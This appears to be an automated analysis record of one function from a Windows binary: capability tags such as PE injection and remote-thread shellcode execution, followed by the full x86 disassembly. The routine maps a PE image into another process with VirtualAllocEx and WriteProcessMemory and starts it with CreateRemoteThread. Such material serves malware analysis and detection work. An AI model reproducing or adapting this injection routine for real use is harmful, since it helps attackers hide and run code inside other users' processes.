Function at 0x422060
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Execute shellcode via indirect call
Inject pe
Inject thread
Parse pe header
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47fbc0
mov eax, dword fs:[0]
push eax
sub esp, 0x124
mov eax, dword [0x498040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x130], ecx
mov eax, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
push 0xf8
mov dword [ebp - 0x10c], eax
lea eax, [ebp - 0x108]
push 0
push eax
mov dword [ebp - 0x118], esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 4], 0
mov eax, 0x5a4d
mov dword [ebp - 0x108], esi
cmp word [esi], ax
jne 0x422428
mov edx, dword [esi + 0x3c]
add edx, esi
mov dword [ebp - 0x104], edx
cmp dword [edx], 0x4550
jne 0x422428
mov eax, 0x2000
test word [edx + 0x16], ax
je 0x422428
lea esi, [edx + 0x18]
mov eax, 0x10b
cmp word [esi], ax
jne 0x422428
mov eax, dword [edx + 0x50]
lea edi, [ebp - 0x100]
mov ecx, 0x38
mov dword [ebp - 0x11c], eax
rep movsd dword es:[edi], dword [esi]
movzx edi, word [edx + 0x14]
xor ecx, ecx
mov esi, dword [ebp - 0x1c]
add edi, 0x18
mov dword [ebp - 0x14], eax
add edi, edx
xor eax, eax
mov dword [ebp - 0x114], ecx
cmp ax, word [edx + 6]
jae 0x4221b2
cmp esi, dword [ebp - 0x18]
je 0x42217c
movups xmm0, xmmword [edi]
movups xmmword [esi], xmm0
movups xmm0, xmmword [edi + 0x10]
movups xmmword [esi + 0x10], xmm0
movq xmm0, qword [edi + 0x20]
movq qword [esi + 0x20], xmm0
add esi, 0x28
mov dword [ebp - 0x1c], esi
jmp 0x42218f
push edi
push esi
lea ecx, [ebp - 0x20]
call fcn.004233b0
mov esi, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x114]
mov eax, dword [ebp - 0x104]
inc ecx
add edi, 0x28
mov dword [ebp - 0x114], ecx
movzx eax, word [eax + 6]
cmp ecx, eax
jl 0x422157
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x11c], eax
jmp 0x4221b8
mov eax, dword [ebp - 0x11c]
push 0x40
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x40
push 0x3000
push dword [ebp - 0x11c]
mov edi, eax
push 0
push dword [ebp - 0x10c]
mov dword [ebp - 0x114], edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push dword [ebp - 0xc4]
mov dword [ebp - 0x110], eax
push dword [ebp - 0x118]
push edi
call sub.VCRUNTIME140.dll_memcpy
sub esi, dword [ebp - 0x20]
mov eax, 0x66666667
imul esi
add esp, 0xc
mov dword [ebp - 0x128], 0
sar edx, 4
mov eax, edx
mov dword [ebp - 0x124], 0
shr eax, 0x1f
mov dword [ebp - 0x120], 0
add eax, edx
je 0x4222f8
cmp eax, 0x6666666
ja 0x422537
lea edi, [eax + eax*4]
shl edi, 3
mov dword [ebp - 0x12c], edi
test edi, edi
je 0x422293
cmp edi, 0x1000
jb 0x422288
lea eax, [edi + 0x23]
cmp eax, edi
jbe 0x42253c
push eax
call fcn.00424e3d
add esp, 4
test eax, eax
je 0x4223c7
lea edi, [eax + 0x23]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x422293
push edi
call fcn.00424e3d
add esp, 4
mov edi, eax
mov eax, dword [ebp - 0x12c]
push esi
push dword [ebp - 0x20]
add eax, edi
mov dword [ebp - 0x128], edi
push edi
mov dword [ebp - 0x120], eax
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x120]
add esp, 0xc
mov dword [ebp - 0x124], eax
cmp edi, eax
je 0x4222f8
lea esi, [edi + 0x10]
mov edi, dword [ebp - 0x118]
nop dword [eax]
push dword [esi]
mov eax, dword [esi + 4]
mov ecx, dword [esi - 4]
add eax, edi
add ecx, dword [ebp - 0x114]
push eax
push ecx
call sub.VCRUNTIME140.dll_memcpy
lea esi, [esi + 0x28]
add esp, 0xc
lea eax, [esi - 0x10]
cmp eax, dword [ebp - 0x120]
jne 0x4222d0
lea ecx, [ebp - 0x128]
call fcn.00422b20
push dword [ebp - 0x114]
mov edi, dword [ebp - 0x110]
lea eax, [ebp - 0x128]
sub edi, dword [ebp - 0xe4]
lea ecx, [ebp - 0x108]
push eax
call fcn.00423210
mov eax, dword [ebp - 0x124]
mov esi, dword [ebp - 0x128]
mov dword [ebp - 0x118], eax
cmp esi, eax
je 0x42238b
add esi, 8
mov ecx, eax
xor edx, edx
cmp dword [esi], edx
jle 0x42237b
nop dword [eax + eax]
mov eax, dword [esi - 4]
movzx ecx, word [eax + edx*2]
mov ax, cx
and ecx, 0xfff
shr ax, 0xc
cmp ax, 3
jne 0x422370
mov eax, dword [esi - 8]
add dword [eax + ecx], edi
inc edx
cmp edx, dword [esi]
jl 0x422350
mov ecx, dword [ebp - 0x118]
add esi, 0xc
lea eax, [esi - 8]
cmp eax, ecx
jne 0x422342
mov esi, dword [ebp - 0x128]
test esi, esi
je 0x4223d7
mov ecx, dword [ebp - 0x120]
mov eax, 0x2aaaaaab
sub ecx, esi
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, esi
shl ecx, 2
cmp ecx, 0x1000
jb 0x4223cd
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4223cd
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push esi
call fcn.004250be
add esp, 8
mov edi, dword [ebp - 0x114]
lea ecx, [ebp - 0x108]
push edi
sub esp, 0xc
mov eax, esp
push edi
push eax
call fcn.004232f0
mov esi, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x130]
push esi
call fcn.00422560
test al, al
jne 0x42245d
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
push dword [ebp - 0x110]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov dword [ebp - 0x110], 0
lea ecx, [ebp - 0x20]
call fcn.00422b20
mov eax, dword [ebp - 0x110]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00424d75
mov esp, ebp
pop ebp
ret 8
push 0
push dword [ebp - 0x11c]
push edi
push dword [ebp - 0x110]
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push esi
call edi
push 0x8000
push 0
push dword [ebp - 0x114]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x40
push 0x3000
mov esi, fcn.00422aa0
sub esi, 0x422a80
push esi
push 0
push dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push esi
push 0x422a80
mov esi, eax
mov dword [ebp - 0x130], eax
push esi
push dword [ebp - 0x10c]
call edi
push 0
push 0
push dword [ebp - 0x110]
push esi
push 0
push 0
push dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edi, eax
test edi, edi
jne 0x42250e
mov edi, dword [ebp - 0x10c]
push 0x8000
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call esi
push 0x8000
push 0
push dword [ebp - 0x110]
push edi
call esi
jmp 0x422428
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push esi
push dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x422432
call fcn.004115a0
call fcn.00401f10
int3